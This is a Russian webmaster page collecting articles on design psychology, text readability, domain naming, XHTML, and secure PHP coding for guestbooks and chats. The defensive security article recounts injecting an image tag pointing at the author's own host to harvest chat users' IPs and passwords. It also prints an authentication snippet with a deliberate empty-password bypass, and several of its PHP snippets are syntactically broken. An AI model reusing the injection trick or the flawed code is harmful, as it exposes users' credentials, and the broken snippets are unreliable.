|
Раздел "Веб-мастеру". Содержание:
Веб-мастеринг:
 Психология в дизайне
5 способов заставить посетителей читать текст на сайте
Как вы лодку назовете, так она и поплывет
Оценка XHTML
Веб-кодинг:
Безопасное программирование веб-приложений
Сейчас на сайте...
Раскрутка:
Обмен ссылками и кнопками
Оптимизация для поисковых систем страниц с JavaScript и таблицами стилей
Раздел "Веб-мастеру". Веб-мастеринг:
 | Психология в дизайне |
|
Я часто встречаю рассуждения, что дизайн - это оформление информации. Говорят о нём как элементе, существующем отдельно от текста, имеющем свои правила и законы. Не забывают упомянуть о его важности общими фразами.
Стоп! А разве графика, цвет, текст, заголовки и вся композиция не составляет информационное содержание страницы? Основной процент получаемой человеком информации приходится на зрение. По статистике 83% информации воспринимается зрительно. И 40% из неё запоминается человеком (против 20% от услышанного!). А изображение может нести в себе ничуть не меньше (а иногда и больше) информации, чем текст. Но как связать воедино изображение и текст? Как заставить дизайн нести тему страницы? Вот это уже вопрос психологии.
Оставим в покое Юнга и Фрейда с их фундаментальными теориями и обратимся к прикладной психологии. Любое изображение вызывает у человека ассоциации. Но проблема в том, что одни предметы, сюжеты или графические элементы вызывают у всех людей (вернее, у многих) одинаковые ассоциации, а другие - совершенно различные. И если вы ошибочно построите ассоциативный ряд, то можете завести пользователя совсем не туда, куда вам хотелось. Поэтому, для построения устойчивых ассоциаций, настроения или образа, часто нужно дополнять композицию элементами, укрепляя тематическую линию. Такими элементами может быть что угодно: изображение, слово (первичный источник информации) или целая фраза, линия, фон, коллаж. Главное, стремиться не к слепому усложнению, а к созданию устойчивого ассоциативного ряда по конкретной теме.
Вы, наверное, уже заметили, что на сложных, детализированных, иногда не понятных с первого взгляда изображениях, хочется задержать взгляд. Зрителю интересно "разгадать загадку" и разгадка смысла приносит удовлетворение и положительные эмоции. Такие "шарады" надолго остаются в памяти. Но не многие из них действительно несут тему или настроение. Большинство похоже на простую мозаику, сборище несвязанной между собой графической информации. Творчество дизайнера в индивидуальных работах может быть любым - это его личное дело. Здесь работает понятие "дизайн ради дизайна", часто превращаясь в стремление эпатировать зрителя. Но в оформлении конкретного заказа, рассчитанного на большую и различную аудиторию, важно не перестараться. Пользователь, просматривая оформление, всегда стремится сделать вывод, ищет законченность в понимании представленной информации. И сделав его, испытывает эстетическое удовлетворение. Задача дизайнера помочь ему в этом. Построить твёрдый, конкретный ассоциативный ряд, раскрывая тему. Простой пример - когда используется перевёрнутый текст. Это простая преграда для его восприятия и пользователь способен прочитать этот текст, но решение этой загадки приносит подсознательное удовольствие и заостряет внимание на этом слове или фразе. Другое дело - уместно ли такое действие в конкретной ситуации.
Теперь о способах и инструментах. Первое, на чём хочется остановить внимание - это способы проведения пользователя по композиции, построение ассоциативного ряда в нужном направлении. Восприятие текстовой информации (в большинстве языков) происходит слева направо и сверху вниз. Это правило хорошо помогает в карикатурах (достаточно простой пример), когда есть сюжетный текст (например, вопрос - ответ). Чтобы зритель правильно понял сюжет, нужно заставить его прочесть сначала вопрос, а потом ответ. Текст вопроса выносится наверх изображения, поближе к левому углу, а текст ответа внизу изображения или справа от вопроса. Это первый принцип, но есть и другие способы заострить внимание на конкретных деталях. Есть ещё пространственное понятие восприятия информации. То, что находится ближе (на переднем плане) воспринимается раньше, чем на заднем. Эффект заднего плана можно получить достаточно сильной размывкой. Объект, с нормальной резкостью, будет выглядеть расположенным на переднем плане, и восприниматься первым. Крупные и достаточно яркие (контрастирующие) элементы так же воспринимаются раньше мелких, детализированных. Любой "выделенный" объект в композиции становится тематическим или смысловым центром. Специалисты советуют использовать не более 3 тематических центров при 5-7 управляющих элементах (в рекламных материалах ещё меньше). Я оставлю это без комментариев, но в некоторых ситуациях позволю себе не согласиться.
   
| 5 способов заставить посетителей читать текст на сайте |
|
Несмотря на то, что современные технологии позволяют передавать через интернет звук, видео, обеспечивают интерактивное взаимодействие с пользователями Сети, основной формой передачи информации по прежнему остается текст. Поэтому правильное формирование текстового наполнения сайта оказывает решающее воздействие на его эффективность.
Пользователи сети крайне редко могут внимательно прочитать более 2-х абзацев сплошного текста. Уже к концу второго абзаца внимание начинает спадать, и остальной текст просматривается по-диагонали. Как же удержать внимание посетителя?
Конечно, большое значение имеет сам текст: стилистика, длина предложений, использование местоимений и множество других особенностей. Основные правила написания хороших текстов были рассмотрены во втором выпуске рассылки, поэтому повторять я их не буду, а лучше более подробно остановлюсь на внешнем представлении текстовой информации.
Основное правило здесь: постараться избежать большой однородной массы текста, при одном взгляде на которую у посетителей возникают любые желания (например, пойти попить кофе), но только не желание все это читать.
На одной из выставок авангардистов в Питере я один раз видел композицию под названием "Угол". Она представляла собой 3 квадратных доски, сбитых в угол, причем в каждую доску были вбиты сотни гвоздей в строгом порядке на одинаковом расстоянии друг от друга.
После того, как я посмотрел на это сооружение секунд 10, мне резко захотелось отвернуться. Гвозди "плыли" перед моими глазами, я никак не мог понять, на какой все-таки гвоздь я смотрю. Это вызывало очень сильный психологический дискомфорт.
Почему такое происходит? Дело в том, что глаз человека никогда не смотрит в одну точку. Глазное яблоко постоянно осуществляет небольшие рефлекторные движения, около 3-х движений в секунду. Это связано с тем, что глаз воспринимает объекты за счет небольших перепадов в освещении, которые как раз и возникают при таких перемещениях зрачка.
Когда вы находитесь в естественной среде обитания, например, в лесу, никаких проблем не возникает: природа уникальна, каждая веточка отличается от другой, они образуют причудливый узор и глазу каждый раз есть за что уцепиться.
В случае с гвоздями ситуация прямо противоположная. Каждый гвоздь в точности похож на своего соседа, все они - на равном расстоянии друг от друга, глазу не за что "зацепиться". Вот и хочется побыстрее отвернуться от такой "красоты". Кстати, точно такой же эффект вызывают и многоэтажные здания, в которых все окна одинаковые и расположены в строго геометрическом порядке. Вспомните, на что вам приятнее смотреть: на прямоугольную бетонную махину, утыканную строгим узором квадратных дырок-окон, или на собор Парижской богоматери, весь в мелких башенках и скульптурах, среди которых трудно найти 2 одинаковые.
Избежать аналогичного эффекта с текстом достаточно просто, главное - не лениться и следовать следующим правилам:
- Не бойтесь разбивать текст на абзацы. Возьмите за правило: отдельная мысль - отдельный абзац.
- При каждой возможности используйте списки. Любое перечисление объектов должно реализовываться не с помощью запятых, а с помощью списка.
- Используйте иллюстрации. Не зря говорят - лучше один раз увидеть. Если вы хотите акцентировать внимание посетителя на чем либо - добавьте к тексту графику, и читатели никогда это не пропустят.
- Применяйте многоуревневые заголовки, используя теги h1, h2, … Это очень эффективный способ для передачи логической структуры текста. Старайтесь помещать в эти теги те слова, которые используют целевые посетители сайта в запросах к поисковикам. Поисковые системы уделяют большое внимание тегам заголовкам, и использование в заголовках ключевых слов заметно повысит релевантность ресурса.
- И, наконец, не забывайте про шрифтовые выделения. Выделяйте цветом или начертанием наиболее важные слова или фразы в тексте. Кстати, тут немаловажно не переборщить: если каждое второе слово будет выделено, эффект будет обратным, поэтому используйте эту возможность в меру.
На этом все.
| Как вы лодку назовете, так она и поплывет |
|
На самом деле слоган, вынесенный в заголовок, не в полной мере применим к выбору доменного имени для вашего сайта. Имя сайта безусловно важно, но гораздо важнее чтобы домен был второго уровня (т.е. YourDomain.ru). Этому есть очень хорошая аналогия из человеческой жизни: Например ваш отец очень известный, всеми уважаемый человек. А вы, хоть тоже не без таланта и достижений, все равно в глазах окружающих только сын Его, вашего отца. Обидно? Безусловно! Хочется ведь чтобы о вас говорили как о самостоятельной и самодостаточной единице :)
О Боге Ru и Отце после точки
В сети то-же самое. Домен первого уровня - Бог (для каждой нации свой), домен второго уровня - Отец. Про зону .ru знают все, про *.ru многие, про *.*.ru кое-кто может и знает, про *.*.*.ru все кто знал, даже если такие и были, непременно забудут в ближайшем будущем. Оно Вам надо? Так-что уясните главное - покупка доменного имени не роскошь, а необходимое условие для серьезного проекта. А сейчас рассмотрим собственно правила выбора доменного имени для вашего сайта.
Краткость - сестра таланта, но не всегда успеха
Доменное имя должно быть коротким. Должно? Должно! Почему? Его легко запомнить, в слове из трех букв сложно сделать ошибку или опечатку, велика вероятность что новые интернетчики именно это слово наберут как адрес их первого сайта и много еще других причин. Однако неправильно думать что краткость имени определяется числом букв. Здесь правильнее было-бы ввести другой критерий: Можно-ли имя домена произнести с одним ударением? В одно слово? Я'ndex, Ra'mbler, Di'gin - можно. А имя домена сайта, на котором вы находитесь - уже почти нельзя. Поэтому если возможно назвать ваш домен одним коротким и емким словом, это будет лучшим вариантом.
Еще интересным направлением в названии доменов представляется сокращение от двух или более слов или-же вообще только аббревиатура полного названия проекта/фирмы. Но здесь необходимо следить, чтобы сокращенное название было в меру читаемым и запоминаемым. Скажем, аббревиатуру RLE запомнить значительно проще чем QCSBS. Очень хорошо, когда аббревиатура выглядит как самостоятельное слово, и просто замечательно когда у этого слова еще и подходящий смысл. Резюмируя вышесказанное, отмечу, если коротко - то это хорошо, но если получается например FYTQ, то лучше подумайте еще раз.
Слово из трех букв
RLE, RBE, LBE, LLE, LRE, RRE. Закройте глаза и повторите вслух. А если я приведу здесь список всех подобных названий баннерных сетей? А если я возьму другой набор из трех букв и предложу еще один список? А если я сделаю список аббревиатур из четырех букв? А если Ваш домен один из них??? Так что домен обязан если не быть незабываемым, то во всяком случае на это претендовать. Возьмем пример той-же Russian Link Exchange - RLE. Когда они только появились, в России еще не было ни одного подобного домена, они могли назваться как угодно - от RLE до RussianLinkExchange и это было запоминаемо.
Сейчас, когда зачастую берутся три подходящие буквы (из стандартного набора в 6-10 букв) и компонуются так, чтобы получилось уникально, запомнить какой домен у какого именно сайта становится сложнее. Поэтому появись RLE на рынке сейчас, им очевидно нужно было-бы выбрать другое имя домена, такое, чтобы выделиться из массы. Можно было сократить название до RULEX или иным способом. Если не верите что это в настоящих условиях эффективнее, вернитесь к началу абзаца, добавьте в список RULEX и дайте постороннему человеку. Пусть он повторит его после одного прочтения. Какие аббревиатуры он запомнил? Так что старайтесь быть уникальным среди подобных.
Что в имени тебе моем?
Вы знаете, я очень люблю киноэпопею Джорджа Лукаса "Звездные Войны". После выхода очередного фильма сериала, я захотел почитать впечатления зрителей, обзоры кинокритиков, другие материалы о фильме на нашем великом и могучем русском языке. Вполне логично что я отправился по адресу StarWars.ru. Нашел я там какие-то плееры, что-то еще, но не нашел ничего, что меня в тот момент интересовало. Материалы о фильме я нашел на массе других сайтов но сейчас речь не об этом. Речь пойдет о том, что если вы хотите чтобы вас нашли ваши потенциальные клиенты, сделайте так, что даже не зная адреса вашей фирмы в сети, они, набрав нечто вроде YourCompany.ru, попали именно на сайт вашей фирмы. Я не буду приводить примеров подобных имен, так как вы без труда найдете их сами (точнее сказать вы наверняка их знаете даже больше чем нужно в повседневной работе).
Принципа одинаковости имени фирмы и имени домена надо стараться придерживаться, однако бывают случаи, когда название вашей фирмы слишком неуклюже (Гдетотамский Нефтеперерабатывающий Завод - попробуйте набрать это латинницей). В этом случае воспользуйтесь абревиатурой или просто красивым и запоминающимся сокращением (в приведенном примере можно использовать GdeNeft.ru. Неплохо также придумать для вашей фирмы бренд покороче и доменное имя брать уже в соответствии с этим брендом, но это тема не для этой статьи. И еще отмечу, что если есть сомнения в том что по одному имени вас найдут, купите себе еще один домен, составленный по другим правилам. Практика показывает, что 5 грамотно подобранных доменов для одного сайта позволяют выбрать 95 процентов брендовой аудитории.
Роль Врунгеля в теории о доменах
Я привел вам основные три правила выбора доменного имени. Используя их, вы сможете добиться запоминания, узнавания вашего сайта, бренда. Вы сможете регулярно получать новых посетителей не только с поисковиков и каталогов, но и из адресной строки броузера. Осталось дело за малым - выбрать и купить. И не забывайте капитана Врунгеля "Как вы лодку назовете - так она и поплывет". Врунгелю - семь футов под килем, Вам - сто мегабит под сеткой! Удачного плавания!
| Оценка XHTML |
|
Эту статью в 2000 году написал небезызвестный веб-разработчик Петер-Пауль Кох (Peter-Paul Koch), который поддерживает один из лучших ресурсов по JavaScript http://www.xs4all.nl/. Его взгляды на XHTML во многом совпадают с моими личными взглядами на этот язык разметки. По прошествии двух лет можно сказать, что PPK был совершенно прав, тем интереснее будет читать...
Быть веб-разработчиком нелегко. Мало того, что вам надо каждый день обходить ловушки и западни популярных браузеров, так еще надо хотя бы вполглаза следить за технологиями, которые могут повлиять (или не повлиять), на вашу работу. Пока вы совершенствуете свое мастерство в работе с таблицами стилей и DHTML, на новые технологии не остается времени. Какие из них важны в настоящий момент? Какие можно пока проигнорировать?
В этой статье я выражаю свой взгляд на язык, который W3C разработало под видом улучшения HTML: XHTML. Согласитесь вы со мной или нет, в любом случае статья заставит вас задуматься и поможет принять решение.
Вначале я объясню, что такое XHTML, затем дам четыре правила для написание корректного XHTML, и в заключении скажу несколько слов о том, зачем вам может понадобится XHTML.
Что же такое XHTML?
XHTML - это HTML, записанный в соответствии с синтаксическими правилами XML. Таким образом, для понимания XHTML мы должны понять XML. О нем уже написано много статей, так что ограничимся кратким описанием:
XML - это обобщенный язык разметки. В отличие от HTML, XML позволяет создавать собственные теги и таким образом формировать собственную структуру документа. Вам нужен тег ? Добавьте его в ваш документ, убедитесь что программа знает, что обозначает этот тег, и все готово.
Существует несколько простых правил для XML документа (они будут перечислены ниже). До тех пор, пока все теги написаны согласно этим правилам, XML без разницы, что эти теги обозначают. XML обобщенный язык разметки, так что вы можете его использовать как вам угодно.
В противоположность XML, HTML гораздо более строго определенный язык разметки с ограниченным набором тегов. В любом случае, общий характер XML позволяет рассматривать HTML-документы как XML-документы с набором тегов для отображения в веб-браузерах. Однако, старые стандарты HTML не до конца совместимы с XML. Например, в HTML необязательно закрывать тег, то есть тег можно опускать. Веб-браузеру на это плевать, так как он запрограммирован, но XML-парсер выдаст ошибку о том, что ваш HTML-документ не является "правильно сформированным" (well-formed).
Чтобы устранить разрыв между этими двумя языками разметки и был разработан XHTML. По существу это обычный HTML, в который добавили синтаксические правила XML для создания well-formed документов. Так что веб-страницы станут XML-совместимыми, а веб-разработчики познакомятся с синтаксисом XML.
Правила игры
На практике, в HTML надо добавить четыре правила, чтобы получился XHTML:
- Все теги должны быть записаны в нижнем регистре, то есть нельзя писать <BODY>, а надо писать <body>
- Все теги должны быть закрыты 2a. В случае, если элемент не имеет закрывающего тега (например, <IMG> или <BR>), надо добавлять слэш в конце тега <img /> и <br />
- Вложенность тегов должна быть корректной. Например, нельзя писать <B><P>текст</B></P>, а надо писать <p><b>текст</b></p>
- Все атрибуты должны быть заключены в кавычки. Например, нельзя писать <P ALIGN=center>, а надо писать <p align="center">.
Хорошая новость в том, что у браузеров практически нет проблем с XHTML. Вообще говоря, правила 1, 2 и 4 уже есть в HTML, но не являются обязательными, тогда как правило 3 является обязательным, хотя браузеры в большинстве случаев игнорируют ошибки вложенности. Единственное действительно новое правило - это правило 2а. Однако, это правило приводит к проблемам со старыми браузерами только в том случае, когда вы записываете слэш без пробелов, вот так <br/>. Браузер думает, что это тег br/, а такого он знать не знает, так что никак на него не отреагирует. Если вставлять пробел, то проблема будет решена. Если вы напишите <br />, то браузер увидит тег br с неизвестным атрибутом /. Тег br будет отработан корректно, а неизвестный атрибут / тихо проигнорирован.
Плохая новость в том, что многим придется изменить свои привычки кодирования. Лично мне не нравится правило 1. Во-первых, я не могу понять, почему XML теги могут быть только в нижнем регистре, во вторых, я всегда пишу теги в верхнем регистре, потому что тогда они лучше выделяются в тексте. Почему я должен отказаться от этого, если это удобно? В любом случае, я не изменю своих привычек без веской на то причины.
Зачем использовать XHTML?
Итак, зачем использовать XHTML вместо старого доброго HTML? Консорциум W3C выделяет следующие причины:
"Разработчики документов и разработчики браузеров откроют новые пути выражения своих идей через новую разметку. В XML относительно легко вводить новые элементы или новые атрибуты. Язык XHTML разработан для согласования этого расширения посредством специальных XHTML-модулей, которые можно разрабатывать совершенно самостоятельно. Эти модули позволят комбинировать существующие и новые возможности при разработке новых документов и новых браузеров."
"Постоянно появляются новые альтернативные способы доступа в интернет. [:] XHTML разрабатывался с учетом общей совместимости пользовательских браузеров (user agents). Так чтобы новые пользовательские браузеры, сервера и прокси могли достичь наилучшей трансформации контента. В конечном счете, можно будет разработать XHTML-конформный контент, который будет доступен из любого XHTML-конформного пользовательского браузера"
Короче говоря в будущем, которое пока неизвестно, улучшения XHTML будут позволять разработчикам использовать новейшие, пока не написанные, модули для расширения XHTML, чтобы включать новые, пока не определенные, вещи в свои веб-страницы. В добавок ко всему, W3C ожидает, что в будущие браузеры будут использовать XHTML вместо HTML.
X это из своего списка
Я не считаю, что этих двух причин достаточно для того, чтобы мы, веб-разработчики, перешли с HTML на XHTML.
Первая причина в настоящий момент не важна сама по себе. Возможно, модули XHTML ошеломят нас, возможно, они вообще ни на что не сгодятся. В любом случае, появятся они года через два-три, так что мы пока даже не можем предполагать, как они будут работать и что они будут делать. Даже если с ними не будет особых проблем, мы все равно пока ничего не можем с ними сделать или как-то приготовиться к их появлению.
Вторая причина пока тоже не важна. В настоящее время нет чистых XHTML-конформных браузеров, которым необходим XHTML. Да и вообще неизвестно, появятся ли они когда-либо. В конце концов, если вы создадите браузер, который отображает только XHTML, он не будет корректно отображать HTML-страницы. Производители браузеров этого совсем не хотят.
У примеру, Эдди Конечный-Пользователь заходит на свой любимый сайт новым, требующим XHTML, только что установленным браузером Ультра-Бразуер X7 и видит только множество сообщений об ошибках, касающихся валидности XHTML-кода. Что он подумает: "Проклятые веб-разработчики! Вы должны были использовать XHTML!" или "Хренов браузер с кучей багов!"?
Так что, если новый браузер выйдет, разработчики все равно позаботятся о поддержке старого доброго HTML. Новые браузеры на каких-то новых платформах возможно и будут требовать XHTML (хотя я так не думаю), но Netscape и Explorer никогда, потому что они должны быть консервативными в выборе языка.
Запас прочности
Я думаю, что многие люди недооценивают запас прочности HTML. Это стандарт на сегодняшний момент, без которого вы не сможете сделать веб-страницу. Потому что все веб-разработчики используют HTML. Потому что из-за этого все будущие браузеры, которые хотят отображать традиционные страницы, должны включать поддержку HTML. Потому что из-за этого все разработчики будут продолжать использовать HTML, так что веб-страницы будут по-прежнему написаны на HTML, так что браузерам придется поддерживать его и т.д.
А что с новыми браузерами? Что можно сказать о новых областях Интернет, таких как WAP? Как насчет изучения XML используя XHTML? Читайте дальше:
Просто скажите нет
Конечно, новые браузеры на новых платформах могут требовать XHTML. Но тогда они столкнутся с той же проблемой, что и старые браузеры на старых платформах: они не смогут корректно отображать существующие HTML-страницы, а это означает крайнее недовольство конечных пользователей. Во избежании этого, новые браузеры должны поддерживать HTML.
Конечно, XHTML может стать стандартом для новых областей Интернет, как WML стал стандартным языком для WAP. Это одна из причин, по которой W3C разрабатывал XHTML. Но, откровенно говоря, я в это не верю. Новые области Интернет требуют действительно новых языков, потому что они отличаются от WWW, тогда как XHTML хорошо подходит только для традиционных WWW-страниц.
Конечно, XHTML может уменьшить разрыв между HTML и XML и познакомить веб-разработчиков с синтаксисом XML. Однако я сомневаюсь, что XML настолько важен для истинных веб-разработчиков. Я не считаю, что каждый веб-разработчик должен знать XML, потому что не знаю широко используемых браузеров, которые корректно отображали XML на стороне клиента. XML на стороне сервера, конечно, другое дело.
В заключении, повторю фразу W3C:
"В конечном счете, можно будет разработать XHTML-конформный контент, который будет доступен из любого XHTML-конформного пользовательского агента"
Это не кажется вам знакомым? Разве HTML разрабатывался не для всех типов пользовательских агентов? Мы все знаем, что случилось с этим планом:
Итак, если HTML останется, зачем переходить на более сложный язык, который изменит ваши привычки кодирования, но ничего не даст? Я не вижу ни одной причины начать использовать XHTML. Я с наслажденьем продолжу писать теги в верхнем регистре и буду пропускать иногда теги </P>, если почувствую, что все будет хорошо и без них.
Как и все спецификации W3C, XHTML - это интересная теоретическая конструкция, которая может развиться и сыграть важную роль в Интернете. Но пока она бесполезна на практике. Разработчики браузеров должны сделать первый ход. Они должны внедрить поддержку XHTML конструктивным способом, чтобы пользователи не отвернулись от их продуктов. Только в этом случае за ними потянется остальная часть веба.
А те фанатики, которые считают, что каждое слово W3C имеет силу Божьей Заповеди и смотрят на всех, кто не использует XHTML, как на еретиков, которых надо сжечь на костре и чем раньше, тем лучше, просто ошибаются. XHTML - это не о настоящем, XHTML - это о будущем.
Раздел "Веб-мастеру". Веб-кодинг:
| Безопасное программирование веб-приложений |
|
Данная статья не претендует на роль всеобъемлющего руководства на тему "как сделать так, чтоб меня никто не поломал". Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб-приложений типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.
Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать "Никогда не верь данным, присылаемым тебе пользователем". Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.
Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:
<input type=text name=username maxlength=20>
На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:
<?
$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com)) {
echo "hacker? he-he...n";
exit;
}
?>
Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, хацкеру будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет.
Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода и ручками порежем строку:
$username=substr($username,0,20);
Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:
if (empty($username)) {
echo "invalid username";
exit;
}
Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака "_" (подчерк), пробела и цифр:
if (preg_match("/[^(w)|(x7F-xFF)|(s)]/",$username)) {
echo "invalid username";
exit;
}
Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно описано в мануале.
Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и ".", иначе пользователь не сможет корректно ввести адрес. Зато уберем русские буквы и пробел:
if (preg_match("/[^(w)|(@)|(.)]/",$usermail)) {
echo "invalid mail";
exit;
}
Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов. Некоторые разработчики, наверное, скажут: "а мы все-таки очень хотим, чтобы пользователи _могли_ вставлять теги". Если сильно неймется - можно сделать некие тегозаменители, типа "текст, окруженный звездочками, будет высвечен bold'ом.". Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>.
Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя.
С вышеупомянутым результатом.
Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript'a я перечислять не буду :-)
Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.
Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения. Назовем их соответственно admin1.php и admin2.php.
Простейший и надежнейший способ аутентикации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки темы этой статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить авторизацию средствами самого приложения.
Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm'а логин и пароль, и только в случае неудачи потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах:
if (!isset($PHP_AUTH_USER)) {
Header("WWW-Authenticate: Basic realm="My Realm"");
Header("HTTP/1.0 401 Unauthorized");
exit;
}
Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER и PHP_AUTH_PW, в которых соответственно будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:
*** Внимание!!!***
В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.
$sql_statement="select password from peoples where name='$PHP_AUTH_USER'";
$result = mysql($dbname, $sql_statement);
$rpassword = mysql_result($result,0,'password');
$sql_statement = "select password('$PHP_AUTH_PW')";
$result = mysql($dbname, $sql_statement);
$password = mysql_result($result,0);
if ($password != $rpassword) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}
Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.
Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильный путь - вставкой следующего фрагмента кода:
if (mysql_numrows($result) != 1) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}
То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.
Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - то он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу "hacker? he-he...".
К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей:
- Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля.
- Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя.
Такая модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.
Рассмотрим несколько вариантов, как это можно сделать:
- После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел).
Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого.
- Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает.
- Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP пользователя, а все скрипты защищенной части смотрят в переменную REMOTE_ADDR и проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - "hacker? he-he..." :-)
